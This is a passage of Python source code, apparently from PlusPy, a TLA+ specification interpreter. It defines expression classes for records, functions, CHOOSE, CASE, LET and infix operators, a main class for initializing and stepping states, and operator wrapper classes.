domain = sorted(domain, key=lambda x: key(x))
for val in domain:
boundedvars[var] = ValueExpression(val)
if not self.enumerate(containers, domains[1:], boundedvars):
return False
return True
# TODO. This may not work for primed expressions currently
def eval(self, containers, boundedvars):
domains = []
for i in range(len(self.quantifiers)):
domains += [ (self.quantifiers[i],
self.domains[i].eval(containers, boundedvars)) ]
return self.enumerate(containers, domains, boundedvars.copy())
class GenExpression(Expression):
def __init__(self, expr=None, quantifiers=None, domains=None, primed=False):
self.expr = expr
self.quantifiers = quantifiers
self.domains = domains
self.primed = primed
def __str__(self):
return "Gen(" + self.expr.__str__() \
+ ", " + str(self.quantifiers) + ")"
def substitute(self, subs):
domains = [ expr.substitute(subs) for expr in self.domains ]
expr = self.expr.substitute(subs)
return GenExpression(expr=expr, quantifiers=self.quantifiers,
domains=domains, primed=self.primed)
def enumerate(self, containers, domains, boundedvars, result):
if domains == []:
result.append(self.expr.eval(containers, boundedvars))
else:
(var, domain) = domains[0]
domain = sorted(domain, key=lambda x: key(x))
for val in domain:
boundedvars[var] = ValueExpression(val)
self.enumerate(containers, domains[1:], boundedvars, result)
def eval(self, containers, boundedvars):
domains = []
for i in range(len(self.quantifiers)):
domains += [ (self.quantifiers[i],
self.domains[i].eval(containers, boundedvars)) ]
result = []
self.enumerate(containers, domains, boundedvars.copy(), result)
return frozenset(result)
class Temporal_existsExpression(Expression):
def __init__(self, quantifiers=None, expr=None, containers=None, primed=False):
self.quantifiers = quantifiers
self.expr = expr
self.containers = containers
self.primed = self.expr.primed
def __str__(self):
return "TempExists(" + str(self.quantifiers) + ", " + self.expr.__str__() + ")"
def substitute(self, subs):
global initializing
if initializing:
containers = subs.copy()
for id in self.quantifiers:
containers[id] = ContainerExpression(var=id)
return Temporal_existsExpression(quantifiers=self.quantifiers,
expr=self.expr.substitute(containers),
containers=containers, primed=self.primed)
else:
return Temporal_existsExpression(quantifiers=self.quantifiers,
expr=self.expr.substitute(subs),
containers=self.containers,
primed=self.primed)
def eval(self, containers, boundedvars):
return self.expr.eval(self.containers, boundedvars)
class RecorddefExpression(Expression):
def __init__(self, kvs=None, primed=False):
self.kvs = kvs
self.primed = primed
def fromAST(self, ast):
(t, a) = ast
assert t == "CommaList"
self.kvs = dict()
self.primed = False
for (t2, a2) in a:
assert t2 == "Concat"
assert len(a2) == 3
(t3, a3) = a2[0]
assert t3 == "Name"
expr = compileExpression(a2[2])
self.kvs[lexeme(a3)] = expr
self.primed = self.primed or expr.primed
return self
def __str__(self):
result = ""
for (k, e) in self.kvs.items():
if result != "":
result += ", "
result += str(k) + ": " + e.__str__()
return "Recorddef(" + result + ")"
def substitute(self, subs):
kvs = { k:v.substitute(subs) for (k, v) in self.kvs.items() }
return RecorddefExpression(kvs=kvs, primed=self.primed)
def expand(self, keys, record, result, containers, boundedvars):
if keys == []:
result.append(simplify(FrozenDict(record.copy())))
else:
k = keys[0]
v = self.kvs[k]
r = v.eval(containers, boundedvars)
r = sorted(r, key=lambda x: key(x))
for e in r:
record[k] = e
self.expand(keys[1:], record, result, containers, boundedvars)
def eval(self, containers, boundedvars):
keys = list(self.kvs.keys())
keys = sorted(keys, key=lambda x: key(x))
result = []
self.expand(keys, {}, result, containers, boundedvars)
return frozenset(result)
class RecordvalueExpression(Expression):
def __init__(self, kvs=None, primed=False):
self.kvs = kvs
self.primed = primed
def fromAST(self, ast):
(t, a) = ast
assert t == "CommaList"
self.kvs = dict()
self.primed = False
for (t2, a2) in a:
assert t2 == "Concat"
assert len(a2) == 3
(t3, a3) = a2[0]
assert t3 == "Name"
expr = compileExpression(a2[2])
self.kvs[lexeme(a3)] = expr
self.primed = self.primed or expr.primed
return self
def __str__(self):
result = ""
for (k, e) in self.kvs.items():
if result != "":
result += ", "
result += str(k) + ": " + e.__str__()
return "Recordvalue(" + result + ")"
def substitute(self, subs):
kvs = { k:v.substitute(subs) for (k, v) in self.kvs.items() }
return RecordvalueExpression(kvs=kvs, primed=self.primed)
def eval(self, containers, boundedvars):
kvs = dict()
keys = self.kvs.keys()
for k in sorted(keys, key=lambda x: key(x)):
kvs[k] = self.kvs[k].eval(containers, boundedvars)
return simplify(FrozenDict(kvs))
class FuncsetExpression(Expression):
def __init__(self, lhs=None, rhs=None, primed=False):
self.lhs = lhs
self.rhs = rhs
self.primed = primed
def fromAST(self, exprs):
assert len(exprs) == 2
self.lhs = compileExpression(exprs[0])
self.rhs = compileExpression(exprs[1])
self.primed = self.lhs.primed or self.rhs.primed
return self
def __str__(self):
return "FuncSet(" + self.lhs.__str__() + ", " + self.rhs.__str__() + ")"
def substitute(self, subs):
return FuncsetExpression(
lhs=self.lhs.substitute(subs),
rhs=self.rhs.substitute(subs),
primed=self.primed)
def enumerate(self, lhs, rhs, record, result):
if lhs == []:
result.append(simplify(FrozenDict(record.copy())))
else:
for y in rhs:
record[lhs[0]] = y
self.enumerate(lhs[1:], rhs, record, result)
def eval(self, containers, boundedvars):
lhs = self.lhs.eval(containers, boundedvars)
rhs = self.rhs.eval(containers, boundedvars)
result = []
self.enumerate(list(lhs), list(rhs), {}, result)
return frozenset(result)
class ExceptExpression(Expression):
def __init__(self, lhs=None, rhs=None, at=None, primed=False):
self.lhs = lhs
self.rhs = rhs
self.at = at
self.primed = primed
def fromAST(self, exc):
assert len(exc) == 2
self.lhs = compileExpression(exc[0])
self.at = BoundvarExpression("@")
self.primed = self.lhs.primed
(t, a) = exc[1]
assert t == "GExcept"
assert len(a) > 0
self.rhs = []
for (lst, expr) in a:
args = []
for arg in lst:
(t2, a2) = arg
assert t2 in {"elist", "efield"}
(t3, a3) = a2
if t2 == "elist":
assert t3 == "CommaList"
assert len(a3) > 0
indices = []
for e in a3:
ce = compileExpression(e)
if ce.primed:
self.primed = True
indices += [ce]
args += [indices]
else:
assert t3 == "Name"
args += [[StringExpression(lexeme(a3))]]
name_stack.append({ "@": self.at })
cexpr = compileExpression(expr)
name_stack.pop()
if cexpr.primed:
self.primed = True
self.rhs += [(args, cexpr)]
return self
def __str__(self):
result = ""
for (args, expr) in self.rhs:
ind = ""
for a in args:
if ind != "":
ind += ", "
pos = ""
for x in a:
if pos != "":
pos += ", "
pos += x.__str__()
ind += "[" + pos + "]"
if result != "":
result += ", "
result += "Replace(" + ind + ", " + expr.__str__() + ")"
return "Except(" + self.lhs.__str__() + ", [" + result + "])"
def substitute(self, subs):
lhs = self.lhs.substitute(subs)
rhs = []
for (args, expr) in self.rhs:
ind = []
for a in args:
pos = []
for x in a:
pos += [ x.substitute(subs) ]
ind += [ pos ]
rhs += [(ind, expr.substitute(subs))]
return ExceptExpression(lhs=lhs, rhs=rhs, at=self.at, primed=self.primed)
def eval(self, containers, boundedvars):
lhs = self.lhs.eval(containers, boundedvars)
if isinstance(lhs, str) or isinstance(lhs, tuple):
kvs = { (i+1):lhs[i] for i in range(len(lhs)) }
else:
assert isinstance(lhs, FrozenDict)
kvs = lhs.d.copy()
# Evaluate the exceptions
for (iargs, iexpr) in self.rhs:
assert len(iargs) == 1 # TODO doesn't handle ![][]...
a = iargs[0]
vals = [ arg.eval(containers, boundedvars) for arg in a ]
newBVs = boundedvars.copy()
old = funceval(lhs, vals)
newBVs[self.at] = ValueExpression(old)
new = iexpr.eval(containers, newBVs)
if len(vals) == 1:
kvs[vals[0]] = new
else:
kvs[tuple(vals)] = new
return simplify(FrozenDict(kvs))
class PrimeExpression(Expression):
def __init__(self, expr=None, primed=True):
self.expr = expr
assert primed
self.primed = primed
def fromAST(self, expr):
self.expr = compileExpression(expr)
assert self.expr.primed == False
return self
def __str__(self):
return "Prime(" + self.expr.__str__() + ")"
def substitute(self, subs):
return PrimeExpression(expr=self.expr.substitute(subs))
def eval(self, containers, boundedvars):
assert isinstance(self.expr, ContainerExpression)
assert self.expr.next != None
return self.expr.next
class OutfixExpression(Expression):
def __init__(self, op=None, expr=None, primed=False):
self.op = op
assert not isinstance(expr, tuple)
self.expr = expr
self.primed = primed
def fromAST(self, prefix):
(op, expr) = prefix
lex = lexeme(op)
self.op = "-." if lex == "-" else lex
mod = modstk[-1]
if self.op in mod.operators:
id = mod.operators[self.op]
assert isinstance(id, OperatorExpression)
assert len(id.args) == 1
args = [ compileExpression(expr) ]
return opSubst([(op, id, args)])
self.expr = compileExpression(expr)
assert not isinstance(self.expr, tuple)
if self.op == "-." and isinstance(self.expr, NumberExpression):
return NumberExpression(-self.expr.number)
self.primed = self.expr.primed
return self
def __str__(self):
return "Outfix(\"" + self.op + "\", " + self.expr.__str__() + ")"
def substitute(self, subs):
# TODO. Perhaps operator itself must be substituted?
assert subs.get(self.op) == None
global initializing
if self.op == "[]" and initializing:
initializing = False
expr=self.expr.substitute(subs)
initializing = True
return OutfixExpression(op=self.op,
expr=expr, primed=self.primed)
return OutfixExpression(op=self.op,
expr=self.expr.substitute(subs), primed=self.primed)
def always(self, containers, boundedvars):
assert isinstance(self.expr, SquareExpression)
ok = True
for (k, v) in containers.items():
if v.next == None:
print("always: UNASSIGNED", k)
ok = False
assert ok
op = self.expr.lhs
tries = 0
i = 0
while True:
global maxcount, waitset, cond
if not silent:
s = { k.id:c.next for (k, c) in containers.items() }
print("Next state:", i, format(FrozenDict(s)))
if maxcount != None and i >= maxcount:
exit(0)
for c in containers.values():
c.prev = c.next
c.next = None
r = op.eval(containers, boundedvars)
if r:
changed = False
for c in containers.values():
if c.next != c.prev:
changed = True
break
if not changed:
if not silent:
print("State unchanged")
break
tries = 0
else:
for c in containers.values():
c.next = c.prev
tries += 1
if verbose or tries % 100 == 0:
print("always: try again", tries)
cond.wait(0.2)
i += 1
def unchanged(self, expr):
if isinstance(expr, TupleExpression):
for x in expr.exprs:
r = self.unchanged(x)
if not r:
return False
else:
assert isinstance(expr, ContainerExpression)
if expr.next != None and expr.next != expr.prev:
return False
expr.next = expr.prev
return True
def eval(self, containers, boundedvars):
if self.op == "UNCHANGED":
return self.unchanged(self.expr)
if self.op == "[]":
return self.always(containers, boundedvars)
v = self.expr.eval(containers, boundedvars)
print("Outfix operator", self.op, "not defined")
assert False
class ChooseExpression(Expression):
def __init__(self, id=None, domain=None, expr=None, primed=False):
self.id = id
self.domain = domain
self.expr = expr
self.primed = primed
def fromAST(self, expr):
assert len(expr) == 3
(t, a) = expr[0]
assert t == "Identifier"
self.id = BoundvarExpression(lexeme(a))
(t1, a1) = expr[1]
assert t1 == "Optional"
self.domain = None if a1 == None else compileExpression(a1)
name_stack.append({ self.id.id:self.id })
self.expr = compileExpression(expr[2])
name_stack.pop()
self.primed = False
return self
def __str__(self):
return "Choose(" + str(self.id) + ", " + self.domain.__str__() \
+ ", " + self.expr.__str__() + ")"
def substitute(self, subs):
return ChooseExpression(id=self.id,
domain=None if self.domain == None else self.domain.substitute(subs),
expr=self.expr.substitute(subs), primed=self.primed)
def eval(self, containers, boundedvars):
newBV = boundedvars.copy()
if self.domain == None:
if isinstance(self.expr, InfixExpression) \
and lexeme(self.expr.op) in { "=", "\\in", "\\notin" } \
and isinstance(self.expr.lhs, BoundvarExpression) \
and self.expr.lhs == self.id:
if lexeme(self.expr.op) == "=":
func = self.expr.rhs
newBV[self.id] = func
return func.eval(containers, newBV)
if lexeme(self.expr.op) == "\\in":
func = self.expr.rhs
newBV[self.id] = func
s = sorted(func.eval(containers, newBV), key=lambda x: key(x))
return s[0]
if lexeme(self.expr.op) == "\\notin":
# CHOOSE of same expression should return same value...
x = format(self.expr.rhs)
return Nonce(x.__hash__())
assert False
elif isinstance(self.expr, ValueExpression) \
and isinstance(self.expr.value, bool):
return Nonce(self.expr.value.__hash__())
else:
domain = sorted(self.domain.eval(containers, boundedvars),
key=lambda x: key(x))
for x in domain:
newBV[self.id] = ValueExpression(x)
r = self.expr.eval(containers, newBV)
if r:
return x
print("CHOOSE", self)
assert False
def apply(self, containers, boundedvars, fargs):
newBV = boundedvars.copy()
if self.domain == None \
and isinstance(self.expr, InfixExpression) \
and lexeme(self.expr.op) == "=" \
and isinstance(self.expr.lhs, BoundvarExpression) \
and self.expr.lhs == self.id:
func = self.expr.rhs
newBV[self.id] = func
return func.apply(containers, newBV, fargs)
else:
v = self.eval(containers, boundedvars)
return funceval(v, fargs)
# TODO. Can potentiallly get rid of this in favor of CaseExpression
class IfExpression(Expression):
def __init__(self, cond=None, ifexpr=None, elseexpr=None, primed=False):
self.cond = cond
self.ifexpr = ifexpr
self.elseexpr = elseexpr
self.primed = primed
def fromAST(self, expr):
assert len(expr) == 3
self.cond = compileExpression(expr[0])
self.ifexpr = compileExpression(expr[1])
self.elseexpr = compileExpression(expr[2])
self.primed = self.cond.primed or self.ifexpr.primed \
or self.elseexpr.primed
return self
def __str__(self):
return "If(" + self.cond.__str__() + ", " + self.ifexpr.__str__() \
+ ", " + self.elseexpr.__str__() + ")"
def substitute(self, subs):
return IfExpression(
cond=self.cond.substitute(subs),
ifexpr=self.ifexpr.substitute(subs),
elseexpr=self.elseexpr.substitute(subs),
primed=self.primed
)
def eval(self, containers, boundedvars):
cond = self.cond.eval(containers, boundedvars)
if cond:
return self.ifexpr.eval(containers, boundedvars)
else:
return self.elseexpr.eval(containers, boundedvars)
class CaseExpression(Expression):
def __init__(self, cases=None, other=None, primed=False):
self.cases = cases
self.other = other
self.primed = primed
def fromAST(self, expr):
(t0, a0) = expr[0]
assert t0 == "SeparatorList"
(t1, a1) = expr[1]
assert t1 == "Optional"
self.primed = False
self.cases = []
for (t2, a2) in a0:
assert t2 == "Concat"
cond = compileExpression(a2[0])
val = compileExpression(a2[2])
self.cases += [ (cond, val) ]
if cond.primed or val.primed:
self.primed = True
if a1 == None:
self.other = None
else:
self.other = compileExpression(a1)
self.primed = self.primed or self.other.primed
return self
def __str__(self):
result = ""
for (c, e) in self.cases:
if result != "":
result += " [] "
result += c.__str__() + " -> " + e.__str__()
if self.other != None:
result += " [] OTHER -> " + self.other.__str__()
return "Case(" + result + ")"
def substitute(self, subs):
cases = [ (cond.substitute(subs), expr.substitute(subs))
for (cond, expr) in self.cases ]
other = None if self.other == None else self.other.substitute(subs)
return CaseExpression(cases=cases, other=other, primed=self.primed)
def eval(self, containers, boundedvars):
cases = random.sample(self.cases, len(self.cases))
for (c, e) in cases:
r = c.eval(containers, boundedvars)
if r:
return e.eval(containers, boundedvars)
assert self.other != None
return self.other.eval(containers, boundedvars)
class LetExpression(Expression):
def __init__(self, mod=None, expr=None, primed=False):
self.mod = mod
self.expr = expr
self.primed = primed
def fromAST(self, expr):
assert len(expr) == 2
(t, a) = expr[0]
assert t == "AtLeast1"
# LET is treated like a mini-module
self.mod = Module()
mod = modstk[-1]
self.mod.variables = mod.variables.copy()
self.mod.constants = mod.constants.copy()
self.mod.operators = mod.operators.copy()
self.mod.wrappers = mod.wrappers.copy()
self.mod.globals = mod.globals.copy()
modstk.append(self.mod)
ops = {}
name_stack.append(ops)
for d in a:
(t1, a1) = d
if t1 == "GOperatorDefinition":
(id, args, e) = compileOperatorDefinition(a1)
else:
assert t1 == "GFunctionDefinition" # deal with ModDef later
(id, args, e) = compileFunctionDefinition(a1)
od = OperatorExpression(id, args, e)
self.mod.operators[id] = od
self.mod.globals.add(id)
ops[id] = od
self.expr = compileExpression(expr[1])
name_stack.pop()
modstk.pop()
return self.expr # make "LET" disappear
def __str__(self):
if False:
return "Let(" + str(self.mod.operators) + ", " + self.expr.__str__() + ")"
else:
return "Let(" + self.expr.__str__() + ")"
def substitute(self, subs):
# return LetExpression(mod=self.mod,
# expr=self.expr.substitute(subs),
# primed=self.primed)
assert False
def eval(self, containers, boundedvars):
assert False
# Cartesian product
class CartesianExpression(Expression):
def __init__(self, exprs=None, primed=False):
self.exprs = exprs
self.primed = primed
def fromAST(self, cart):
self.exprs = [ compileExpression(x) for x in cart ]
self.primed = any(x.primed for x in self.exprs)
return self
def __str__(self):
result = ""
for x in self.exprs:
if result != "":
result += ", "
result += x.__str__()
return "Cartesian(" + result + ")"
def substitute(self, subs):
exprs = [ x.substitute(subs) for x in self.exprs ]
return CartesianExpression(exprs=exprs, primed=self.primed)
def enumerate(self, exprs, tup, result):
if exprs == []:
result.append(tuple(tup))
else:
for x in exprs[0]:
self.enumerate(exprs[1:], tup + [x], result)
def eval(self, containers, boundedvars):
exprs = [ x.eval(containers, boundedvars) for x in self.exprs ]
result = []
self.enumerate(exprs, [], result)
return frozenset(result)
class InfixExpression(Expression):
def __init__(self, op=None, lhs=None, rhs=None, primed=False):
self.op = op
self.lhs = lhs
self.rhs = rhs
self.primed = primed
def fromAST(self, infix):
(op, lhs, rhs) = infix
lex = lexeme(op)
lt = compileExpression(lhs)
rt = compileExpression(rhs)
mod = modstk[-1]
if lex in mod.operators:
id = mod.operators[lex]
assert isinstance(id, OperatorExpression)
assert len(id.args) == 2
return opSubst([(op, id, [ lt, rt ])])
self.op = op
self.lhs = lt
self.rhs = rt
self.primed = self.lhs.primed or self.rhs.primed
return self
def __str__(self):
return "Infix(\"" + str(self.op) + "\", " + self.lhs.__str__() \
+ ", " + self.rhs.__str__() + ")"
def substitute(self, subs):
return InfixExpression(op=self.op,
lhs=self.lhs.substitute(subs), rhs=self.rhs.substitute(subs),
primed=self.primed)
def eval(self, containers, boundedvars):
global IO_outputs, waitset, signalset # these behave as hidden variables
lex = lexeme(self.op)
# One special case is if the expression is of the form x' = ...
# when x' is not assigned a value in next. In that case we set
# x' to ...
if isinstance(self.lhs, PrimeExpression):
var = self.lhs.expr
assert isinstance(var, ContainerExpression)
if var.next == None:
val = self.rhs.eval(containers, boundedvars)
if val == None:
print("XXX", self.rhs)
assert val != None
if lex == '=':
var.next = val
# print("ASSIGN", var.var, containers)
return True
elif lex == "\\in":
lst = list(val)
r = random.randrange(len(lst))
var.next = lst[r]
return True
# Copy next state in case need to restore after OR operation
# with FALSE left hand side. Also, randomize lhs/rhs
# evaluation
if lex == "\\/":
output_copy = IO_outputs.copy()
waitset_copy = waitset.copy()
signalset_copy = signalset.copy()
copy = {}
for (k, v) in containers.items():
copy[k] = v.next
r = random.randrange(2)
if r == 0:
lhs = self.lhs.eval(containers, boundedvars)
else:
assert r == 1
rhs = self.rhs.eval(containers, boundedvars)
else:
r = 0
lhs = self.lhs.eval(containers, boundedvars)
if lex == "\\/":
if (r == 0) and lhs:
return lhs
if (r == 1) and rhs:
return rhs
# restore and evaluate right hand side
for (k, v) in copy.items():
containers[k].next = v
IO_outputs = output_copy
waitset = waitset_copy
signalset = signalset_copy
elif lex == "/\\":
assert r == 0
if not lhs:
return False
if r == 0:
rhs = self.rhs.eval(containers, boundedvars)
else:
lhs = self.lhs.eval(containers, boundedvars)
# print("INFIX EVAL", lex, lhs, rhs)
try:
if lex == "/\\": return lhs and rhs
if lex == "\\/": return lhs or rhs
if lex == "=": return lhs == rhs
if lex == "\\in": return lhs in rhs
if lex == "\\notin": return lhs not in rhs
except Exception as e:
print("Evaluating infix", stringToken(self.op), "failed")
print(e)
print(traceback.format_exc())
exit(1)
print("Infix operator", self.op, "not defined")
assert False
# Apply the given arguments in vals to func
def funceval(func, vals):
assert func != None
# strings are special case of functions
if isinstance(func, str):
assert len(vals) == 1
assert vals[0] >= 1
assert vals[0] <= len(func)
return func[vals[0] - 1]
# Turn function into a dictionary
if isinstance(func, tuple):
assert len(vals) == 1
assert vals[0] >= 1
assert vals[0] <= len(func)
kvs = { (i+1):func[i] for i in range(len(func)) }
else:
assert isinstance(func, FrozenDict)
kvs = func.d
# See if there's a match against the kvs
if len(vals) == 1:
k = vals[0]
else:
k = tuple(vals)
v = kvs.get(k)
if v != None:
return v
print("FUNCEVAL", func, vals, kvs, k)
assert False
# v is either a string, a tuple of values, or a FrozenDict.
# Return a uniform representation such that if two values should
# be equal they have the same representation. Strings are the preferred
# representation, then tuples, then sets, then records, then nonces.
def simplify(v):
if len(v) == 0:
return ""
if isinstance(v, str):
return v
# See if it's a record that can be converted into a tuple
if isinstance(v, FrozenDict):
kvs = v.d
if set(kvs.keys()) == set(range(1, len(v) + 1)):
t = []
for i in range(1, len(v) + 1):
t += [kvs[i]]
v = tuple(t)
# See if it's a tuple that can be converted into a string:
if isinstance(v, tuple) and \
all(isinstance(c, str) and len(c) == 1 for c in v):
return "".join(v)
return v
class IndexExpression(Expression):
def __init__(self, token=None, func=None, args=None, primed=None):
self.token = token
self.func = func
self.args = args
self.primed = primed
def fromAST(self, expr):
(token, func, args) = expr
self.token = token
self.func = compileExpression(func)
self.primed = self.func.primed
(t, a) = args
assert t == "CommaList"
self.args = []
for ast in a:
ca = compileExpression(ast)
if ca.primed:
self.primed = True
self.args += [ca]
assert self.args != []
return self
def __str__(self):
assert self.args != []
result = ""
for x in self.args:
if result != "":
result += ", "
result += x.__str__()
return "Index(" + self.func.__str__() + ", [" + result + "])"
def substitute(self, subs):
assert self.args != []
func = self.func.substitute(subs)
args = [ arg.substitute(subs) for arg in self.args ]
assert args != []
return IndexExpression(func=func, args=args, primed=self.primed)
def eval(self, containers, boundedvars):
assert self.args != []
args = [ arg.eval(containers, boundedvars) for arg in self.args ]
r = self.func.apply(containers, boundedvars, args)
assert r != None
return r
class TupleExpression(Expression):
def __init__(self, exprs=None, primed=False):
self.exprs = exprs
self.primed = primed
def fromAST(self, ast):
self.primed = False
(t, a) = ast
assert t == "Optional"
if a == None:
self.exprs = []
else:
(t1, a1) = a
assert t1 == "CommaList"
self.exprs = [compileExpression(x) for x in a1]
for e in self.exprs:
if e.primed:
self.primed = True
break
return self
def __str__(self):
result = ""
for x in self.exprs:
if result != "":
result += ", "
if x == None:
result += "None"
else:
result += x.__str__()
return "Tuple(" + result + ")"
def substitute(self, subs):
return TupleExpression(
exprs=[ e.substitute(subs) for e in self.exprs ],
primed=self.primed
)
def eval(self, containers, boundedvars):
return simplify(tuple([ e.eval(containers, boundedvars) for e in self.exprs ]))
def apply(self, containers, boundedvars, fargs):
assert len(fargs) == 1
# print("ZZZZ", [x.eval(containers, boundedvars) for x in self.exprs], fargs[0])
return self.exprs[fargs[0] - 1].eval(containers, boundedvars)
class SetExpression(Expression):
def __init__(self, elements=None, primed=False):
self.elements = elements
self.primed = primed
def fromAST(self, ast):
(t, a) = ast
assert t == "Optional"
self.primed = False
self.elements = []
if a != None:
(t0, a0) = a
assert t0 == "CommaList"
for x in a0:
cx = compileExpression(x)
if cx.primed:
self.primed = True
self.elements += [ cx ]
return self
def __str__(self):
result = ""
for x in self.elements:
if result != "":
result += ", "
if x == None:
result += "None"
else:
result += x.__str__()
return "Set(" + result + ")"
def substitute(self, subs):
return SetExpression(
elements=[ e.substitute(subs) for e in self.elements ],
primed=self.primed
)
def eval(self, containers, boundedvars):
result = set()
for x in self.elements:
result.add(x.eval(containers, boundedvars))
return frozenset(result)
class FilterExpression(Expression):
def __init__(self, vars=None, elements=None, expr=None, primed=False):
self.vars = vars
self.elements = elements
self.expr = expr
self.primed = primed
def fromAST(self, filter):
(t0, a0) = filter[0]
if t0 == "Identifier":
self.vars = [BoundvarExpression(lexeme(a0))]
else:
assert t0 == "Tuple"
(t1, a1) = a0
assert t1 == "CommaList"
self.vars = [ BoundvarExpression(v) for (t, v) in a1 ]
self.elements = compileExpression(filter[1])
name_stack.append({ bv.id:bv for bv in self.vars })
self.expr = compileExpression(filter[2])
name_stack.pop()
return self
def __str__(self):
return "Filter(" + str(self.vars) + ", " + self.elements.__str__() \
+ ", " + self.expr.__str__() + ")"
def substitute(self, subs):
return FilterExpression(
vars=self.vars,
elements=self.elements.substitute(subs),
expr=self.expr.substitute(subs),
primed=self.primed
)
def eval(self, containers, boundedvars):
result = set()
assert len(self.vars) == 1
elements = self.elements.eval(containers, boundedvars)
result = []
bvs = boundedvars.copy()
assert len(self.vars) == 1 # TODO
# Need to go through elements in defined order because
# of pseudo-randomization
elements = sorted(elements, key=lambda x: key(x))
for x in elements:
bvs[self.vars[0]] = ValueExpression(x)
if self.expr.eval(containers, bvs):
result.append(x)
return frozenset(result)
class NumberExpression(Expression):
def __init__(self, n):
self.number = int(n)
self.primed = False
def __str__(self):
return "Number(" + str(self.number) + ")"
def substitute(self, subs):
return self
def eval(self, containers, boundedvars):
return self.number
class StringExpression(Expression):
def __init__(self, s):
self.string = s
self.primed = False
def __str__(self):
return "String(\"" + self.string + "\")"
def substitute(self, subs):
return self
def eval(self, containers, boundedvars):
return self.string
def apply(self, containers, boundedvars, fargs):
assert len(fargs) == 1
return self.string[fargs[0] - 1]
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Main Class
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
name_stack[-1]["FALSE"] = ValueExpression(False)
name_stack[-1]["TRUE"] = ValueExpression(True)
class PlusPyError(Exception):
def __init__(self, descr):
self.descr = descr
def __str__(self):
return "PlusPyError: " + self.descr
class PlusPy:
def __init__(self, file, constants={}, seed=None):
if seed != None:
random.seed(seed)
# Load the module
self.mod = Module()
if not file.endswith(".tla"):
file += ".tla"
if not self.mod.load_from_file(file):
raise PlusPyError("can't load " + file)
modules[self.mod.name] = self.mod
self.constants = {
self.mod.constants[k]:ValueExpression(v) for (k, v) in constants.items()
}
# Substitute containers for variables
self.containers = { v:ContainerExpression(var=v)
for v in self.mod.variables.values() }
def init(self, initOp):
op = self.mod.operators[initOp]
assert isinstance(op, OperatorExpression)
assert op.args == []
# Set the constants
expr2 = op.expr.substitute(self.constants)
# Replace variables with primed containers in state expressions
global initializing
initializing = True
expr3 = expr2.substitute(self.containers)
initializing = False
r = expr3.eval(self.containers, {})
if not r:
print("Initialization failed -- fatal error", file=sys.stderr)
exit(1)
ok = True
for (k, v) in self.containers.items():
if v.next == None:
print("UNASSIGNED", k)
ok = False
assert ok
# This is really solving the satisfiability problem
# However, we make only one randomized attempt
def trynext(self, expr, args, arg):
# set previous state to next state and next state to None
for c in self.containers.values():
c.prev = c.next
c.next = None
# Replace operator arguments with specified values
# TODO. Should be able to take more than 1 argument
if len(args) > 0:
expr = expr.substitute({ args[0] : ValueExpression(arg) })
# Replace constants for their values and variables for containers
expr2 = expr.substitute(self.constants)
expr3 = expr2.substitute(self.containers)
# Evaluate
r = expr3.eval(self.containers, {})
if r:
error = False
for (v, c) in self.containers.items():
if c.next == None:
print("Variable", v.id, "did not receive a value (fatal error)", file=sys.stderr)
error = True
if error:
exit(1)
else:
for c in self.containers.values():
c.next = c.prev
return r
# TODO. Should support multiple arguments
def next(self, nextOp, arg=None):
op = self.mod.operators[nextOp]
assert isinstance(op, OperatorExpression)
return self.trynext(op.expr, op.args, arg)
# Check of state has not changed
def unchanged(self):
for c in self.containers.values():
if c.next != c.prev:
return False
return True
def get(self, var):
var = self.mod.variables.get(var)
if var == None:
return None
return self.containers[var].next
def set(self, var, value):
v = self.containers.get(self.mod.variables[var])
v.next = value
def getall(self):
s = { k.id:v.next for (k, v) in self.containers.items() }
return simplify(FrozenDict(s))
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
#### Python Wrappers (to replace TLA+ operator definitions)
#### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####
class Wrapper:
def eval(self, id, args):
assert False
class InfixWrapper(Wrapper):
def __str__(self):
return "Naturals!InfixWrapper()"
def eval(self, id, args):
assert len(args) == 2
lhs = args[0]
rhs = args[1]
if id[0] == "\\":
if id == "\\/": return lhs or rhs
if id == "\\equiv": return lhs == rhs
if id == "\\geq": return lhs >= rhs
if id == "\\in": return lhs in rhs
if id == "\\notin": return lhs not in rhs
if id == "\\leq": return lhs <= rhs
if id == "\\subset": return lhs.issubset(rhs) and lhs != rhs
if id == "\\subseteq": return lhs.issubset(rhs)
if id == "\\supset": return rhs.issubset(lhs) and rhs != lhs
if id == "\\supseteq": return rhs.issubset(lhs)
if id == "\\": return lhs.difference(rhs)
if id in { "\\cap", "\\intersect" }: return lhs.intersection(rhs)
if id in { "\\cup", "\\union" }: return lhs.union(rhs)
if id == "\\div": return lhs // rhs
else:
if id == "/\\": return lhs and rhs
if id == "=>": return (not lhs) or rhs
if id == "<=>": return lhs == rhs
if id in { "#", "/=" }: return lhs != rhs
if id == "<": return lhs < rhs
if id == "=": return lhs == rhs
if id == ">": return lhs > rhs
if id == ">=": return lhs >= rhs
if id in { "<=", "=<" }: return lhs <= rhs
if id == "..": return frozenset({ i for i in range(lhs, rhs + 1) })
if id == "+": return lhs + rhs
if id == "-": return lhs - rhs
if id == "*": return lhs * rhs
if id == "/": return lhs / rhs
if id == "%": return lhs % rhs
if id == "^": return lhs ** rhs
assert False
class OutfixWrapper(Wrapper):
def __str__(self):
return "Naturals!OutfixWrapper()"
def subset_enum(self, lst, record, result):
if lst == []:
result.add(frozenset(record))
else:
self.subset_enum(lst[1:], record, result)
self.subset_enum(lst[1:], record.union({ lst[0] }), result)
def eval(self, id, args):
assert len(args) == 1
expr = args[0]
if id == "DOMAIN":
if isinstance(expr, str) or isinstance(expr, tuple):
return frozenset(range(1, len(expr) + 1))
else:
assert isinstance(expr, FrozenDict)
return frozenset(expr.d.keys())
if id == "UNION":
result = set()
for x in expr:
result = result.union(x)
return frozenset(result)
if id == "SUBSET":
result = set()
self.subset_enum(list(expr), set(), result)
return frozenset(result)
# if id == "-.": return -expr
if id in { "~", "\\lnot", "\\neg" }: return not expr
assert False
wrappers["Core"] = {
"=>": InfixWrapper(),
"<=>": InfixWrapper(),
"\\equiv": InfixWrapper(),
# "/\\": InfixWrapper(),
# "\\/": InfixWrapper(),
"#": InfixWrapper(),
"/=": InfixWrapper(),
# "=": InfixWrapper(),
# "\\in": InfixWrapper(),
# "\\notin": InfixWrapper(),
"\\subset": InfixWrapper(),
"\\subseteq": InfixWrapper(),
"\\supset": InfixWrapper(),
"\\supseteq": InfixWrapper(),
"\\": InfixWrapper(),
"\\cap": InfixWrapper(),
"\\intersect": InfixWrapper(),
